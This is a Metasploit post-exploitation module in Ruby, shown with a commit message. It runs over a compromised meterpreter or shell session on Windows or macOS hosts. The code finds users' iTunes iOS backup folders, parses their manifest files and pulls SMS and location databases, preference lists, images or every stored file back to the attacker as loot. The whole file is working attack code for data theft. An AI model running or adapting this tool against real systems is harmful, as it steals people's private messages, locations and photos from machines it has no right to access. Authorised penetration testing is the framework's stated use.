21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
282 lines
7.1 KiB
Ruby
282 lines
7.1 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/file'
|
|
require 'rex/parser/apple_backup_manifestdb'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
|
|
def initialize(info={})
|
|
super( update_info(info,
|
|
'Name' => 'Windows Gather Apple iOS MobileSync Backup File Collection',
|
|
'Description' => %q{ This module will collect sensitive files from any on-disk iOS device backups },
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'hdm',
|
|
'bannedit' # Based on bannedit's pidgin_cred module structure
|
|
],
|
|
'Version' => '$Revision$',
|
|
'Platform' => ['win', 'osx'],
|
|
'SessionTypes' => ['meterpreter', 'shell']
|
|
))
|
|
register_options(
|
|
[
|
|
OptBool.new('DATABASES', [false, 'Collect all database files? (SMS, Location, etc)', true]),
|
|
OptBool.new('PLISTS', [false, 'Collect all preference list files?', true]),
|
|
OptBool.new('IMAGES', [false, 'Collect all image files?', false]),
|
|
OptBool.new('EVERYTHING', [false, 'Collect all stored files? (SLOW)', false])
|
|
], self.class)
|
|
end
|
|
|
|
#
|
|
# Even though iTunes is only Windows and Mac OS X, look for the MobileSync files on all platforms
|
|
#
|
|
#
|
|
def run
|
|
case session.platform
|
|
when /osx/
|
|
@platform = :osx
|
|
paths = enum_users_unix
|
|
when /win/
|
|
@platform = :windows
|
|
drive = session.fs.file.expand_path("%SystemDrive%")
|
|
os = session.sys.config.sysinfo['OS']
|
|
|
|
if os =~ /Windows 7|Vista|2008/
|
|
@appdata = '\\AppData\\Roaming'
|
|
@users = drive + '\\Users'
|
|
else
|
|
@appdata = '\\Application Data'
|
|
@users = drive + '\\Documents and Settings'
|
|
end
|
|
|
|
if session.type != "meterpreter"
|
|
print_error "Only meterpreter sessions are supported on windows hosts"
|
|
return
|
|
end
|
|
paths = enum_users_windows
|
|
else
|
|
print_error "Unsupported platform #{session.platform}"
|
|
return
|
|
end
|
|
|
|
if paths.empty?
|
|
print_status("No users found with an iTunes backup directory")
|
|
return
|
|
end
|
|
|
|
process_backups(paths)
|
|
end
|
|
|
|
def enum_users_unix
|
|
if @platform == :osx
|
|
home = "/Users/"
|
|
else
|
|
home = "/home/"
|
|
end
|
|
|
|
if got_root?
|
|
userdirs = []
|
|
session.shell_command("ls #{home}").gsub(/\s/, "\n").split("\n").each do |user_name|
|
|
userdirs << home + user_name
|
|
end
|
|
userdirs << "/root"
|
|
else
|
|
userdirs = [ home + whoami ]
|
|
end
|
|
|
|
backup_paths = []
|
|
userdirs.each do |user_dir|
|
|
output = session.shell_command("ls #{user_dir}/Library/Application\\ Support/MobileSync/Backup/")
|
|
if output =~ /No such file/i
|
|
next
|
|
else
|
|
print_status("Found backup directory in: #{user_dir}")
|
|
backup_paths << "#{user_dir}/Library/Application\\ Support/MobileSync/Backup/"
|
|
end
|
|
end
|
|
|
|
check_for_backups_unix(backup_paths)
|
|
end
|
|
|
|
def check_for_backups_unix(backup_dirs)
|
|
dirs = []
|
|
backup_dirs.each do |backup_dir|
|
|
print_status("Checking for backups in #{backup_dir}")
|
|
session.shell_command("ls #{backup_dir}").each_line do |dir|
|
|
next if dir == "." || dir == ".."
|
|
if dir =~ /^[0-9a-f]{16}/i
|
|
print_status("Found #{backup_dir}\\#{dir}")
|
|
dirs << ::File.join(backup_dir.chomp, dir.chomp)
|
|
end
|
|
end
|
|
end
|
|
dirs
|
|
end
|
|
|
|
def enum_users_windows
|
|
paths = Array.new
|
|
|
|
if got_root?
|
|
begin
|
|
session.fs.dir.foreach(@users) do |path|
|
|
next if path =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/i
|
|
bdir = "#{@users}\\#{path}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
|
|
dirs = check_for_backups_win(bdir)
|
|
dirs.each { |dir| paths << dir } if dirs
|
|
end
|
|
rescue ::Rex::Post::Meterpreter::RequestError
|
|
# Handle the case of the @users base directory is not accessible
|
|
end
|
|
else
|
|
print_status "Only checking #{whoami} account since we do not have SYSTEM..."
|
|
path = "#{@users}\\#{whoami}#{@appdata}\\Apple Computer\\MobileSync\\Backup"
|
|
dirs = check_for_backups_win(path)
|
|
dirs.each { |dir| paths << dir } if dirs
|
|
end
|
|
return paths
|
|
end
|
|
|
|
def check_for_backups_win(bdir)
|
|
dirs = []
|
|
begin
|
|
print_status("Checking for backups in #{bdir}")
|
|
session.fs.dir.foreach(bdir) do |dir|
|
|
if dir =~ /^[0-9a-f]{16}/i
|
|
print_status("Found #{bdir}\\#{dir}")
|
|
dirs << "#{bdir}\\#{dir}"
|
|
end
|
|
end
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
# Handle base directories that do not exist
|
|
end
|
|
dirs
|
|
end
|
|
|
|
def process_backups(paths)
|
|
paths.each {|path| process_backup(path) }
|
|
end
|
|
|
|
def process_backup(path)
|
|
|
|
print_status("Pulling data from #{path}...")
|
|
|
|
mbdb_data = ""
|
|
mbdx_data = ""
|
|
|
|
print_status("Reading Manifest.mbdb from #{path}...")
|
|
if session.type == "shell"
|
|
mbdb_data = session.shell_command("cat #{path}/Manifest.mbdb")
|
|
if mbdb_data =~ /No such file/i
|
|
print_status("Manifest.mbdb not found in #{path}...")
|
|
return
|
|
end
|
|
else
|
|
mfd = session.fs.file.new("#{path}\\Manifest.mbdb", "rb")
|
|
until mfd.eof?
|
|
mbdb_data << mfd.read
|
|
end
|
|
mfd.close
|
|
end
|
|
|
|
print_status("Reading Manifest.mbdx from #{path}...")
|
|
if session.type == "shell"
|
|
mbdx_data = session.shell_command("cat #{path}/Manifest.mbdx")
|
|
if mbdx_data =~ /No such file/i
|
|
print_status("Manifest.mbdx not found in #{path}...")
|
|
return
|
|
end
|
|
else
|
|
mfd = session.fs.file.new("#{path}\\Manifest.mbdx", "rb")
|
|
until mfd.eof?
|
|
mbdx_data << mfd.read
|
|
end
|
|
mfd.close
|
|
end
|
|
|
|
manifest = Rex::Parser::AppleBackupManifestDB.new(mbdb_data, mbdx_data)
|
|
|
|
patterns = []
|
|
patterns << /\.db$/i if datastore['DATABASES']
|
|
patterns << /\.plist$/i if datastore['PLISTS']
|
|
patterns << /\.(jpeg|jpg|png|bmp|tiff|gif)$/i if datastore['IMAGES']
|
|
patterns << /.*/ if datastore['EVERYTHING']
|
|
|
|
done = {}
|
|
patterns.each do |pat|
|
|
manifest.entries.each_pair do |fname, info|
|
|
next if done[fname]
|
|
next if not info[:filename].to_s =~ pat
|
|
|
|
print_status("Downloading #{info[:domain]} #{info[:filename]}...")
|
|
|
|
begin
|
|
|
|
fdata = ""
|
|
if session.type == "shell"
|
|
fdata = session.shell_command("cat #{path}/#{fname}")
|
|
else
|
|
mfd = session.fs.file.new("#{path}\\#{fname}", "rb")
|
|
until mfd.eof?
|
|
fdata << mfd.read
|
|
end
|
|
mfd.close
|
|
end
|
|
bname = info[:filename] || "unknown.bin"
|
|
rname = info[:domain].to_s + "_" + bname
|
|
rname = rname.gsub(/\/|\\/, ".").gsub(/\s+/, "_").gsub(/[^A-Za-z0-9\.\_]/, '').gsub(/_+/, "_")
|
|
ctype = "application/octet-stream"
|
|
|
|
store_loot("ios.backup.data", ctype, session, fdata, rname, "iOS Backup: #{rname}")
|
|
|
|
rescue ::Interrupt
|
|
raise $!
|
|
rescue ::Exception => e
|
|
print_error("Failed to download #{fname}: #{e.class} #{e}")
|
|
end
|
|
|
|
done[fname] = true
|
|
end
|
|
end
|
|
end
|
|
|
|
|
|
def got_root?
|
|
case @platform
|
|
when :windows
|
|
if session.sys.config.getuid =~ /SYSTEM/
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
else # unix, bsd, linux, osx
|
|
ret = whoami
|
|
if ret =~ /root/
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
end
|
|
|
|
def whoami
|
|
if @platform == :windows
|
|
session.fs.file.expand_path("%USERNAME%")
|
|
else
|
|
session.shell_command("whoami").chomp
|
|
end
|
|
end
|
|
end
|